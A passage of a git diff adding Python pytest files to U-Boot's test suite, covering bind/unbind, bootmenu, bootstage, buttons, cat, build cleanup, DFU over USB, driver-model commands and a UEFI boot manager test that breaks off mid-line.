+ tree = u_boot_console.run_command('dm tree')
+ assert in_tree(tree, 'bind-test', 'simple_bus', 'simple_bus', 0, True)
+ assert in_tree(tree, 'bind-test-child1', 'phy', 'phy_sandbox', 1, False)
+ assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+ response = u_boot_console.run_command('unbind /bind-test')
+ assert response == ''
+
+def get_next_line(tree, name):
+ treelines = [x.strip() for x in tree.splitlines() if x.strip()]
+ child_line = ''
+ for idx, line in enumerate(treelines):
+ if '-- ' + name in line:
+ try:
+ child_line = treelines[idx+1]
+ except:
+ pass
+ break
+ return child_line
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_bind')
+@pytest.mark.singlethread
+def test_bind_unbind_with_uclass(u_boot_console):
+ #bind /bind-test
+ response = u_boot_console.run_command('bind /bind-test simple_bus')
+ assert response == ''
+
+ #make sure bind-test-child2 is there and get its uclass/index pair
+ tree = u_boot_console.run_command('dm tree')
+ child2_line = [x.strip() for x in tree.splitlines() if '-- bind-test-child2' in x]
+ assert len(child2_line) == 1
+
+ child2_uclass = child2_line[0].split()[0]
+ child2_index = int(child2_line[0].split()[1])
+
+ #bind simple_bus as a child of bind-test-child2
+ response = u_boot_console.run_command(
+ 'bind {} {} simple_bus'.format(child2_uclass, child2_index))
+
+ #check that the child is there and its uclass/index pair is right
+ tree = u_boot_console.run_command('dm tree')
+
+ child_of_child2_line = get_next_line(tree, 'bind-test-child2')
+ assert child_of_child2_line
+ child_of_child2_index = int(child_of_child2_line.split()[1])
+ assert in_tree(tree, 'simple_bus', 'simple_bus', 'simple_bus', 2, True)
+ assert child_of_child2_index == child2_index + 1
+
+ #unbind the child and check it has been removed
+ response = u_boot_console.run_command('unbind simple_bus {}'.format(child_of_child2_index))
+ assert response == ''
+ tree = u_boot_console.run_command('dm tree')
+ assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+ assert not in_tree(tree, 'simple_bus', 'simple_bus', 'simple_bus', 2, True)
+ child_of_child2_line = get_next_line(tree, 'bind-test-child2')
+ assert child_of_child2_line == ''
+
+ #bind simple_bus as a child of bind-test-child2
+ response = u_boot_console.run_command(
+ 'bind {} {} simple_bus'.format(child2_uclass, child2_index))
+
+ #check that the child is there and its uclass/index pair is right
+ tree = u_boot_console.run_command('dm tree')
+ treelines = [x.strip() for x in tree.splitlines() if x.strip()]
+
+ child_of_child2_line = get_next_line(tree, 'bind-test-child2')
+ assert child_of_child2_line
+ child_of_child2_index = int(child_of_child2_line.split()[1])
+ assert in_tree(tree, 'simple_bus', 'simple_bus', 'simple_bus', 2, True)
+ assert child_of_child2_index == child2_index + 1
+
+ #unbind the child and check it has been removed
+ response = u_boot_console.run_command(
+ 'unbind {} {} simple_bus'.format(child2_uclass, child2_index))
+ assert response == ''
+
+ tree = u_boot_console.run_command('dm tree')
+ assert in_tree(tree, 'bind-test-child2', 'simple_bus', 'simple_bus', 1, True)
+
+ child_of_child2_line = get_next_line(tree, 'bind-test-child2')
+ assert child_of_child2_line == ''
+
+ #unbind the child again and check it doesn't change the tree
+ tree_old = u_boot_console.run_command('dm tree')
+ response = u_boot_console.run_command(
+ 'unbind {} {} simple_bus'.format(child2_uclass, child2_index))
+ tree_new = u_boot_console.run_command('dm tree')
+
+ assert response == ''
+ assert tree_old == tree_new
+
+ response = u_boot_console.run_command('unbind /bind-test')
+ assert response == ''
diff --git a/test/py/tests/test_bootmenu.py b/test/py/tests/test_bootmenu.py
new file mode 100644
index 00000000000..70f51de699f
--- /dev/null
+++ b/test/py/tests/test_bootmenu.py
@@ -0,0 +1,46 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+"""Test bootmenu"""
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_bootmenu')
+def test_bootmenu(u_boot_console):
+ """Test bootmenu
+
+ u_boot_console -- U-Boot console
+ """
+
+ with u_boot_console.temporary_timeout(500):
+ u_boot_console.run_command('setenv bootmenu_default 1')
+ u_boot_console.run_command('setenv bootmenu_0 test 1=echo ok 1')
+ u_boot_console.run_command('setenv bootmenu_1 test 2=echo ok 2')
+ u_boot_console.run_command('setenv bootmenu_2 test 3=echo ok 3')
+ u_boot_console.run_command('bootmenu 2', wait_for_prompt=False)
+ for i in ('U-Boot Boot Menu', 'test 1', 'test 2', 'test 3', 'autoboot'):
+ u_boot_console.p.expect([i])
+ # Press enter key to execute default entry
+ response = u_boot_console.run_command(cmd='\x0d', wait_for_echo=False, send_nl=False)
+ assert 'ok 2' in response
+ u_boot_console.run_command('bootmenu 2', wait_for_prompt=False)
+ u_boot_console.p.expect(['autoboot'])
+ # Press up key to select prior entry followed by the enter key
+ response = u_boot_console.run_command(cmd='\x1b\x5b\x41\x0d', wait_for_echo=False,
+ send_nl=False)
+ assert 'ok 1' in response
+ u_boot_console.run_command('bootmenu 2', wait_for_prompt=False)
+ u_boot_console.p.expect(['autoboot'])
+ # Press down key to select next entry followed by the enter key
+ response = u_boot_console.run_command(cmd='\x1b\x5b\x42\x0d', wait_for_echo=False,
+ send_nl=False)
+ assert 'ok 3' in response
+ u_boot_console.run_command('bootmenu 2; echo rc:$?', wait_for_prompt=False)
+ u_boot_console.p.expect(['autoboot'])
+ # Press the escape key
+ response = u_boot_console.run_command(cmd='\x1b', wait_for_echo=False, send_nl=False)
+ assert 'ok' not in response
+ assert 'rc:0' in response
+ u_boot_console.run_command('setenv bootmenu_default')
+ u_boot_console.run_command('setenv bootmenu_0')
+ u_boot_console.run_command('setenv bootmenu_1')
+ u_boot_console.run_command('setenv bootmenu_2')
diff --git a/test/py/tests/test_bootstage.py b/test/py/tests/test_bootstage.py
new file mode 100644
index 00000000000..a9eb9f0b4a1
--- /dev/null
+++ b/test/py/tests/test_bootstage.py
@@ -0,0 +1,67 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+
+"""
+Test the bootstage command.
+
+It is used for checking the boot progress and timing by printing the bootstage
+report, stashes the data into memory and unstashes the data from memory.
+
+Note: This test relies on boardenv_* containing configuration values to define
+the data size, memory address, and bootstage magic address (defined in
+common/bootstage.c). Without this, bootstage stash and unstash tests will be
+automatically skipped.
+
+For example:
+env__bootstage_cmd_file = {
+ 'addr': 0x200000,
+ 'size': 0x1000,
+ 'bootstage_magic_addr': 0xb00757a3,
+}
+"""
+
+@pytest.mark.buildconfigspec('bootstage')
+@pytest.mark.buildconfigspec('cmd_bootstage')
+def test_bootstage_report(u_boot_console):
+ output = u_boot_console.run_command('bootstage report')
+ assert 'Timer summary in microseconds' in output
+ assert 'Accumulated time:' in output
+ assert 'dm_r' in output
+
+@pytest.mark.buildconfigspec('bootstage')
+@pytest.mark.buildconfigspec('cmd_bootstage')
+@pytest.mark.buildconfigspec('bootstage_stash')
+def test_bootstage_stash(u_boot_console):
+ f = u_boot_console.config.env.get('env__bootstage_cmd_file', None)
+ if not f:
+ pytest.skip('No bootstage environment file is defined')
+
+ addr = f.get('addr')
+ size = f.get('size')
+ bootstage_magic = f.get('bootstage_magic_addr')
+ expected_text = 'dm_r'
+
+ u_boot_console.run_command('bootstage stash %x %x' % (addr, size))
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ output = u_boot_console.run_command('md %x 100' % addr)
+
+ # Check BOOTSTAGE_MAGIC address at 4th byte address
+ assert '0x' + output.split('\n')[0].split()[4] == hex(bootstage_magic)
+
+ # Check expected string in last column of output
+ output_last_col = ''.join([i.split()[-1] for i in output.split('\n')])
+ assert expected_text in output_last_col
+ return addr, size
+
+@pytest.mark.buildconfigspec('bootstage')
+@pytest.mark.buildconfigspec('cmd_bootstage')
+@pytest.mark.buildconfigspec('bootstage_stash')
+def test_bootstage_unstash(u_boot_console):
+ addr, size = test_bootstage_stash(u_boot_console)
+ u_boot_console.run_command('bootstage unstash %x %x' % (addr, size))
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
diff --git a/test/py/tests/test_button.py b/test/py/tests/test_button.py
new file mode 100644
index 00000000000..3b7f148c8fc
--- /dev/null
+++ b/test/py/tests/test_button.py
@@ -0,0 +1,37 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+import pytest
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_button')
+def test_button_list(u_boot_console):
+ """Test listing buttons"""
+
+ response = u_boot_console.run_command('button list; echo rc:$?')
+ assert('button1' in response)
+ assert('button2' in response)
+ assert('rc:0' in response)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_button')
+@pytest.mark.buildconfigspec('cmd_gpio')
+def test_button_return_code(u_boot_console):
+ """Test correct reporting of the button status
+
+ The sandbox gpio driver reports the last output value as input value.
+ We can use this in our test to emulate different input statuses.
+ """
+
+ u_boot_console.run_command('gpio set a3; gpio input a3');
+ response = u_boot_console.run_command('button button1; echo rc:$?')
+ assert('on' in response)
+ assert('rc:0' in response)
+
+ u_boot_console.run_command('gpio clear a3; gpio input a3');
+ response = u_boot_console.run_command('button button1; echo rc:$?')
+ assert('off' in response)
+ assert('rc:1' in response)
+
+ response = u_boot_console.run_command('button nonexistent-button; echo rc:$?')
+ assert('not found' in response)
+ assert('rc:1' in response)
diff --git a/test/py/tests/test_cat/conftest.py b/test/py/tests/test_cat/conftest.py
new file mode 100644
index 00000000000..320e7ebd295
--- /dev/null
+++ b/test/py/tests/test_cat/conftest.py
@@ -0,0 +1,36 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+"""Fixture for cat command test
+"""
+
+import os
+import shutil
+from subprocess import check_call, CalledProcessError
+import pytest
+
+@pytest.fixture(scope='session')
+def cat_data(u_boot_config):
+ """Set up a file system to be used in cat tests
+
+ Args:
+ u_boot_config -- U-Boot configuration.
+ """
+ mnt_point = u_boot_config.persistent_data_dir + '/test_cat'
+ image_path = u_boot_config.persistent_data_dir + '/cat.img'
+
+ try:
+ os.mkdir(mnt_point, mode = 0o755)
+
+ with open(mnt_point + '/hello', 'w', encoding = 'ascii') as file:
+ file.write('hello world\n')
+
+ check_call(f'virt-make-fs --partition=gpt --size=+1M --type=vfat {mnt_point} {image_path}',
+ shell=True)
+
+ yield image_path
+ except CalledProcessError:
+ pytest.skip('Setup failed')
+ finally:
+ shutil.rmtree(mnt_point)
+ if os.path.exists(image_path):
+ os.remove(image_path)
diff --git a/test/py/tests/test_cat/test_cat.py b/test/py/tests/test_cat/test_cat.py
new file mode 100644
index 00000000000..132527bd4c2
--- /dev/null
+++ b/test/py/tests/test_cat/test_cat.py
@@ -0,0 +1,20 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+""" Unit test for cat command
+"""
+
+import pytest
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_cat')
+def test_cat(u_boot_console, cat_data):
+ """ Unit test for cat
+
+ Args:
+ u_boot_console -- U-Boot console
+ cat_data -- Path to the disk image used for testing.
+ """
+ response = u_boot_console.run_command_list([
+ f'host bind 0 {cat_data}',
+ 'cat host 0 hello'])
+ assert 'hello world' in response
diff --git a/test/py/tests/test_cleanup_build.py b/test/py/tests/test_cleanup_build.py
new file mode 100644
index 00000000000..aca90cb1107
--- /dev/null
+++ b/test/py/tests/test_cleanup_build.py
@@ -0,0 +1,110 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2023 Tobias Deiminger <tdmg@linutronix.de>
+
+"""Test for unexpected leftovers after make clean"""
+
+import itertools
+import os
+import pathlib
+import shutil
+import sys
+
+import pytest
+
+# pylint: disable=redefined-outer-name
+
+
+@pytest.fixture
+def tmp_copy_of_builddir(u_boot_config, tmp_path):
+ """For each test, provide a temporary copy of the initial build directory."""
+ if os.path.realpath(u_boot_config.source_dir) == os.path.realpath(
+ u_boot_config.build_dir
+ ):
+ pytest.skip("Leftover detection requires out of tree build.")
+ return None
+ shutil.copytree(
+ u_boot_config.build_dir,
+ tmp_path,
+ symlinks=True,
+ dirs_exist_ok=True,
+ )
+ return tmp_path
+
+
+@pytest.fixture(scope="module")
+def run_make(u_boot_log):
+ """Provide function to run and log make without connecting to u-boot console."""
+ runner = u_boot_log.get_runner("make", sys.stdout)
+
+ def _run_make(build_dir, target):
+ cmd = ["make", f"O={build_dir}", target]
+ runner.run(cmd)
+
+ yield _run_make
+ runner.close()
+
+
+@pytest.fixture(scope="module")
+def most_generated_files():
+ """Path.glob style patterns to describe what should be removed by 'make clean'."""
+ return (
+ "**/*.c",
+ "**/*.dtb",
+ "**/*.dtbo",
+ "**/*.o",
+ "**/*.py",
+ "**/*.pyc",
+ "**/*.so",
+ "**/*.srec",
+ "u-boot*",
+ "[svt]pl/u-boot*",
+ )
+
+
+@pytest.fixture(scope="module")
+def all_generated_files(most_generated_files):
+ """Path.glob style patterns to describe what should be removed by 'make mrproper'."""
+ return most_generated_files + (".config", "**/*.h")
+
+
+def find_files(search_dir, include_patterns, exclude_dirs=None):
+ """Find files matching include_patterns, unless it's in one of exclude_dirs.
+
+ include_patterns -- Path.glob style pattern relative to search dir
+ exclude_dir -- directories to exclude, expected relative to search dir
+ """
+ matches = []
+ exclude_dirs = [] if exclude_dirs is None else exclude_dirs
+ for abs_path in itertools.chain.from_iterable(
+ pathlib.Path(search_dir).glob(pattern) for pattern in include_patterns
+ ):
+ if abs_path.is_dir():
+ continue
+ rel_path = pathlib.Path(os.path.relpath(abs_path, search_dir))
+ if not any(
+ rel_path.is_relative_to(exclude_dir) for exclude_dir in exclude_dirs
+ ):
+ matches.append(rel_path)
+ return matches
+
+
+def test_clean(run_make, tmp_copy_of_builddir, most_generated_files):
+ """Test if 'make clean' deletes most generated files."""
+ run_make(tmp_copy_of_builddir, "clean")
+ leftovers = find_files(
+ tmp_copy_of_builddir,
+ most_generated_files,
+ exclude_dirs=["scripts", "test/overlay"],
+ )
+ assert not leftovers, f"leftovers: {', '.join(map(str, leftovers))}"
+
+
+def test_mrproper(run_make, tmp_copy_of_builddir, all_generated_files):
+ """Test if 'make mrproper' deletes current configuration and all generated files."""
+ run_make(tmp_copy_of_builddir, "mrproper")
+ leftovers = find_files(
+ tmp_copy_of_builddir,
+ all_generated_files,
+ exclude_dirs=["test/overlay"],
+ )
+ assert not leftovers, f"leftovers: {', '.join(map(str, leftovers))}"
diff --git a/test/py/tests/test_dfu.py b/test/py/tests/test_dfu.py
new file mode 100644
index 00000000000..5d87eb349bf
--- /dev/null
+++ b/test/py/tests/test_dfu.py
@@ -0,0 +1,320 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test U-Boot's "dfu" command. The test starts DFU in U-Boot, waits for USB
+# device enumeration on the host, executes dfu-util multiple times to test
+# various transfer sizes, many of which trigger USB driver edge cases, and
+# finally aborts the "dfu" command in U-Boot.
+
+import os
+import os.path
+import pytest
+import u_boot_utils
+
+"""
+Note: This test relies on:
+
+a) boardenv_* to contain configuration values to define which USB ports are
+available for testing. Without this, this test will be automatically skipped.
+For example:
+
+env__usb_dev_ports = (
+ {
+ 'fixture_id': 'micro_b',
+ 'tgt_usb_ctlr': '0',
+ 'host_usb_dev_node': '/dev/usbdev-p2371-2180',
+ # This parameter is optional /if/ you only have a single board
+ # attached to your host at a time.
+ 'host_usb_port_path': '3-13',
+ },
+)
+
+# Optional entries (required only when 'alt_id_test_file' and
+# 'alt_id_dummy_file' are specified).
+test_file_name = '/dfu_test.bin'
+dummy_file_name = '/dfu_dummy.bin'
+# Above files are used to generate proper 'alt_info' entry
+'alt_info': '/%s ext4 0 2;/%s ext4 0 2' % (test_file_name, dummy_file_name),
+
+env__dfu_configs = (
+ # eMMC, partition 1
+ {
+ 'fixture_id': 'emmc',
+ 'alt_info': '/dfu_test.bin ext4 0 1;/dfu_dummy.bin ext4 0 1',
+ 'cmd_params': 'mmc 0',
+ # This value is optional.
+ # If present, it specified the set of transfer sizes tested.
+ # If missing, a default list of sizes will be used, which covers
+ # various useful corner cases.
+ # Manually specifying test sizes is useful if you wish to test 4 DFU
+ # configurations, but don't want to test every single transfer size
+ # on each, to avoid bloating the overall time taken by testing.
+ 'test_sizes': (63, 64, 65),
+ # This value is optional.
+ # The name of the environment variable that the the dfu command reads
+ # alt info from. If unspecified, this defaults to dfu_alt_info, which is
+ # valid for most systems. Some systems use a different variable name.
+ # One example is the Odroid XU3, which automatically generates
+ # $dfu_alt_info, each time the dfu command is run, by concatenating
+ # $dfu_alt_boot and $dfu_alt_system.
+ 'alt_info_env_name': 'dfu_alt_system',
+ # This value is optional.
+ # For boards which require the 'test file' alt setting number other than
+ # default (0) it is possible to specify exact file name to be used as
+ # this parameter.
+ 'alt_id_test_file': test_file_name,
+ # This value is optional.
+ # For boards which require the 'dummy file' alt setting number other
+ # than default (1) it is possible to specify exact file name to be used
+ # as this parameter.
+ 'alt_id_dummy_file': dummy_file_name,
+ },
+)
+
+b) udev rules to set permissions on devices nodes, so that sudo is not
+required. For example:
+
+ACTION=="add", SUBSYSTEM=="block", SUBSYSTEMS=="usb", KERNELS=="3-13", MODE:="666"
+
+(You may wish to change the group ID instead of setting the permissions wide
+open. All that matters is that the user ID running the test can access the
+device.)
+
+c) An optional udev rule to give you a persistent value to use in
+host_usb_dev_node. For example:
+
+IMPORT{builtin}="path_id"
+ENV{ID_PATH}=="?*", ENV{.ID_PORT}=="", SYMLINK+="bus/usb/by-path/$env{ID_PATH}"
+ENV{ID_PATH}=="?*", ENV{.ID_PORT}=="?*", SYMLINK+="bus/usb/by-path/$env{ID_PATH}-port$env{.ID_PORT}"
+"""
+
+# The set of file sizes to test. These values trigger various edge-cases such
+# as one less than, equal to, and one greater than typical USB max packet
+# sizes, and similar boundary conditions.
+test_sizes_default = (
+ 64 - 1,
+ 64,
+ 64 + 1,
+ 128 - 1,
+ 128,
+ 128 + 1,
+ 960 - 1,
+ 960,
+ 960 + 1,
+ 4096 - 1,
+ 4096,
+ 4096 + 1,
+ 1024 * 1024 - 1,
+ 1024 * 1024,
+ 8 * 1024 * 1024,
+)
+
+first_usb_dev_port = None
+
+@pytest.mark.buildconfigspec('cmd_dfu')
+@pytest.mark.requiredtool('dfu-util')
+def test_dfu(u_boot_console, env__usb_dev_port, env__dfu_config):
+ """Test the "dfu" command; the host system must be able to enumerate a USB
+ device when "dfu" is running, various DFU transfers are tested, and the
+ USB device must disappear when "dfu" is aborted.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__usb_dev_port: The single USB device-mode port specification on
+ which to run the test. See the file-level comment above for
+ details of the format.
+ env__dfu_config: The single DFU (memory region) configuration on which
+ to run the test. See the file-level comment above for details
+ of the format.
+
+ Returns:
+ Nothing.
+ """
+
+ def start_dfu():
+ """Start U-Boot's dfu shell command.
+
+ This also waits for the host-side USB enumeration process to complete.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ u_boot_utils.wait_until_file_open_fails(
+ env__usb_dev_port['host_usb_dev_node'], True)
+ fh = u_boot_utils.attempt_to_open_file(
+ env__usb_dev_port['host_usb_dev_node'])
+ if fh:
+ fh.close()
+ raise Exception('USB device present before dfu command invoked')
+
+ u_boot_console.log.action(
+ 'Starting long-running U-Boot dfu shell command')
+
+ dfu_alt_info_env = env__dfu_config.get('alt_info_env_name', \
+ 'dfu_alt_info')
+
+ cmd = 'setenv "%s" "%s"' % (dfu_alt_info_env,
+ env__dfu_config['alt_info'])
+ u_boot_console.run_command(cmd)
+
+ cmd = 'dfu 0 ' + env__dfu_config['cmd_params']
+ u_boot_console.run_command(cmd, wait_for_prompt=False)
+ u_boot_console.log.action('Waiting for DFU USB device to appear')
+ fh = u_boot_utils.wait_until_open_succeeds(
+ env__usb_dev_port['host_usb_dev_node'])
+ fh.close()
+
+ def stop_dfu(ignore_errors):
+ """Stop U-Boot's dfu shell command from executing.
+
+ This also waits for the host-side USB de-enumeration process to
+ complete.
+
+ Args:
+ ignore_errors: Ignore any errors. This is useful if an error has
+ already been detected, and the code is performing best-effort
+ cleanup. In this case, we do not want to mask the original
+ error by "honoring" any new errors.
+
+ Returns:
+ Nothing.
+ """
+
+ try:
+ u_boot_console.log.action(
+ 'Stopping long-running U-Boot dfu shell command')
+ u_boot_console.ctrlc()
+ u_boot_console.log.action(
+ 'Waiting for DFU USB device to disappear')
+ u_boot_utils.wait_until_file_open_fails(
+ env__usb_dev_port['host_usb_dev_node'], ignore_errors)
+ except:
+ if not ignore_errors:
+ raise
+
+ def run_dfu_util(alt_setting, fn, up_dn_load_arg):
+ """Invoke dfu-util on the host.
+
+ Args:
+ alt_setting: The DFU "alternate setting" identifier to interact
+ with.
+ fn: The host-side file name to transfer.
+ up_dn_load_arg: '-U' or '-D' depending on whether a DFU upload or
+ download operation should be performed.
+
+ Returns:
+ Nothing.
+ """
+
+ cmd = ['dfu-util', '-a', alt_setting, up_dn_load_arg, fn]
+ if 'host_usb_port_path' in env__usb_dev_port:
+ cmd += ['-p', env__usb_dev_port['host_usb_port_path']]
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+ u_boot_console.wait_for('Ctrl+C to exit ...')
+
+ def dfu_write(alt_setting, fn):
+ """Write a file to the target board using DFU.
+
+ Args:
+ alt_setting: The DFU "alternate setting" identifier to interact
+ with.
+ fn: The host-side file name to transfer.
+
+ Returns:
+ Nothing.
+ """
+
+ run_dfu_util(alt_setting, fn, '-D')
+
+ def dfu_read(alt_setting, fn):
+ """Read a file from the target board using DFU.
+
+ Args:
+ alt_setting: The DFU "alternate setting" identifier to interact
+ with.
+ fn: The host-side file name to transfer.
+
+ Returns:
+ Nothing.
+ """
+
+ # dfu-util fails reads/uploads if the host file already exists
+ if os.path.exists(fn):
+ os.remove(fn)
+ run_dfu_util(alt_setting, fn, '-U')
+
+ def dfu_write_read_check(size):
+ """Test DFU transfers of a specific size of data
+
+ This function first writes data to the board then reads it back and
+ compares the written and read back data. Measures are taken to avoid
+ certain types of false positives.
+
+ Args:
+ size: The data size to test.
+
+ Returns:
+ Nothing.
+ """
+
+ test_f = u_boot_utils.PersistentRandomFile(u_boot_console,
+ 'dfu_%d.bin' % size, size)
+ readback_fn = u_boot_console.config.result_dir + '/dfu_readback.bin'
+
+ u_boot_console.log.action('Writing test data to DFU primary ' +
+ 'altsetting')
+ dfu_write(alt_setting_test_file, test_f.abs_fn)
+
+ u_boot_console.log.action('Writing dummy data to DFU secondary ' +
+ 'altsetting to clear DFU buffers')
+ dfu_write(alt_setting_dummy_file, dummy_f.abs_fn)
+
+ u_boot_console.log.action('Reading DFU primary altsetting for ' +
+ 'comparison')
+ dfu_read(alt_setting_test_file, readback_fn)
+
+ u_boot_console.log.action('Comparing written and read data')
+ written_hash = test_f.content_hash
+ read_back_hash = u_boot_utils.md5sum_file(readback_fn, size)
+ assert(written_hash == read_back_hash)
+
+ # This test may be executed against multiple USB ports. The test takes a
+ # long time, so we don't want to do the whole thing each time. Instead,
+ # execute the full test on the first USB port, and perform a very limited
+ # test on other ports. In the limited case, we solely validate that the
+ # host PC can enumerate the U-Boot USB device.
+ global first_usb_dev_port
+ if not first_usb_dev_port:
+ first_usb_dev_port = env__usb_dev_port
+ if env__usb_dev_port == first_usb_dev_port:
+ sizes = env__dfu_config.get('test_sizes', test_sizes_default)
+ else:
+ sizes = []
+
+ dummy_f = u_boot_utils.PersistentRandomFile(u_boot_console,
+ 'dfu_dummy.bin', 1024)
+
+ alt_setting_test_file = env__dfu_config.get('alt_id_test_file', '0')
+ alt_setting_dummy_file = env__dfu_config.get('alt_id_dummy_file', '1')
+
+ ignore_cleanup_errors = True
+ try:
+ start_dfu()
+
+ u_boot_console.log.action(
+ 'Overwriting DFU primary altsetting with dummy data')
+ dfu_write(alt_setting_test_file, dummy_f.abs_fn)
+
+ for size in sizes:
+ with u_boot_console.log.section('Data size %d' % size):
+ dfu_write_read_check(size)
+ # Make the status of each sub-test obvious. If the test didn't
+ # pass, an exception was thrown so this code isn't executed.
+ u_boot_console.log.status_pass('OK')
+ ignore_cleanup_errors = False
+ finally:
+ stop_dfu(ignore_cleanup_errors)
diff --git a/test/py/tests/test_dm.py b/test/py/tests/test_dm.py
new file mode 100644
index 00000000000..68d4ea12235
--- /dev/null
+++ b/test/py/tests/test_dm.py
@@ -0,0 +1,81 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020 Sean Anderson
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_dm')
+def test_dm_compat(u_boot_console):
+ """Test that each driver in `dm tree` is also listed in `dm compat`."""
+ response = u_boot_console.run_command('dm tree')
+ driver_index = response.find('Driver')
+ assert driver_index != -1
+ drivers = (line[driver_index:].split()[0]
+ for line in response[:-1].split('\n')[2:])
+
+ response = u_boot_console.run_command('dm compat')
+ for driver in drivers:
+ assert driver in response
+
+ # check sorting - output looks something like this:
+ # testacpi 0 [ ] testacpi_drv |-- acpi-test
+ # testacpi 1 [ ] testacpi_drv | `-- child
+ # pci_emul_p 1 [ ] pci_emul_parent_drv |-- pci-emul2
+ # pci_emul 5 [ ] sandbox_swap_case_em | `-- emul2@1f,0
+
+ # The number of '| ' and '--' matches indicate the indent level. We start
+ # checking sorting only after UCLASS_AXI_EMUL after which the names should
+ # be sorted.
+
+ response = u_boot_console.run_command('dm tree -s')
+ lines = response.split('\n')[2:]
+ stack = [] # holds where we were up to at the previous indent level
+ prev = '' # uclass name of previous line
+ start = False
+ for line in lines:
+ indent = line.count('| ') + ('--' in line)
+ cur = line.split()[0]
+ if not start:
+ if cur != 'axi_emul':
+ continue
+ start = True
+
+ # Handle going up or down an indent level
+ if indent > len(stack):
+ stack.append(prev)
+ prev = ''
+ elif indent < len(stack):
+ prev = stack.pop()
+
+ # Check that the current uclass name is not alphabetically before the
+ # previous one
+ if 'emul' not in cur and cur < prev:
+ print('indent', cur >= prev, indent, prev, cur, stack)
+ assert cur >= prev
+ prev = cur
+
+
+@pytest.mark.buildconfigspec('cmd_dm')
+def test_dm_drivers(u_boot_console):
+ """Test that each driver in `dm compat` is also listed in `dm drivers`."""
+ response = u_boot_console.run_command('dm compat')
+ drivers = (line[:20].rstrip() for line in response[:-1].split('\n')[2:])
+ response = u_boot_console.run_command('dm drivers')
+ for driver in drivers:
+ assert driver in response
+
+@pytest.mark.buildconfigspec('cmd_dm')
+def test_dm_static(u_boot_console):
+ """Test that each driver in `dm static` is also listed in `dm drivers`."""
+ response = u_boot_console.run_command('dm static')
+ drivers = (line[:25].rstrip() for line in response[:-1].split('\n')[2:])
+ response = u_boot_console.run_command('dm drivers')
+ for driver in drivers:
+ assert driver in response
+
+@pytest.mark.buildconfigspec("cmd_dm")
+def test_dm_uclass(u_boot_console):
+ response = u_boot_console.run_command("dm uclass")
+
+@pytest.mark.buildconfigspec("cmd_dm")
+def test_dm_devres(u_boot_console):
+ response = u_boot_console.run_command("dm devres")
diff --git a/test/py/tests/test_efi_bootmgr/conftest.py b/test/py/tests/test_efi_bootmgr/conftest.py
new file mode 100644
index 00000000000..0eca025058e
--- /dev/null
+++ b/test/py/tests/test_efi_bootmgr/conftest.py
@@ -0,0 +1,38 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+"""Fixture for UEFI bootmanager test."""
+
+import os
+import shutil
+from subprocess import check_call
+import pytest
+
+@pytest.fixture(scope='session')
+def efi_bootmgr_data(u_boot_config):
+ """Set up a file system to be used in UEFI bootmanager tests.
+
+ Args:
+ u_boot_config -- U-Boot configuration.
+
+ Return:
+ A path to disk image to be used for testing
+ """
+ mnt_point = u_boot_config.persistent_data_dir + '/test_efi_bootmgr'
+ image_path = u_boot_config.persistent_data_dir + '/efi_bootmgr.img'
+
+ shutil.rmtree(mnt_point, ignore_errors=True)
+ os.mkdir(mnt_point, mode = 0o755)
+
+ with open(mnt_point + '/initrd-1.img', 'w', encoding = 'ascii') as file:
+ file.write("initrd 1")
+
+ with open(mnt_point + '/initrd-2.img', 'w', encoding = 'ascii') as file:
+ file.write("initrd 2")
+
+ shutil.copyfile(u_boot_config.build_dir + '/lib/efi_loader/initrddump.efi',
+ mnt_point + '/initrddump.efi')
+
+ check_call(f'virt-make-fs --partition=gpt --size=+1M --type=vfat {mnt_point} {image_path}',
+ shell=True)
+
+ return image_path
diff --git a/test/py/tests/test_efi_bootmgr/test_efi_bootmgr.py b/test/py/tests/test_efi_bootmgr/test_efi_bootmgr.py
new file mode 100644
index 00000000000..1bb59d8fcf8
--- /dev/null
+++ b/test/py/tests/test_efi_bootmgr/test_efi_bootmgr.py
@@ -0,0 +1,44 @@
+# SPDX-License-Identifier: GPL-2.0+
+""" Unit test for UEFI bootmanager
+"""
+
+import pytest
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_bootefi_bootmgr')
+@pytest.mark.singlethread
+def test_efi_bootmgr(u_boot_console, efi_bootmgr_data):
+ """ Unit test for UEFI bootmanager
+ The efidebug command is used to set up UEFI load options.
+ The bootefi bootmgr loads initrddump.efi as a payload.
+ The crc32 of the loaded initrd.img is checked
+
+ Args:
+ u_boot_console -- U-Boot console
+ efi_bootmgr_data -- Path to the disk image used for testing.
+ """
+ u_boot_console.run_command(cmd = f'host bind 0 {efi_bootmgr_data}')
+
+ u_boot_console.run_command(cmd = 'efidebug boot add ' \
+ '-b 0001 label-1 host 0:1 initrddump.efi ' \
+ '-i host 0:1 initrd-1.img -s nocolor')
+ u_boot_console.run_command(cmd = 'efidebug boot dump')
+ u_boot_console.run_command(cmd = 'efidebug boot order 0001')
+ u_boot_console.run_command(cmd = 'bootefi bootmgr')
+ response = u_boot_console.run_command(cmd = 'load', wait_for_echo=False)
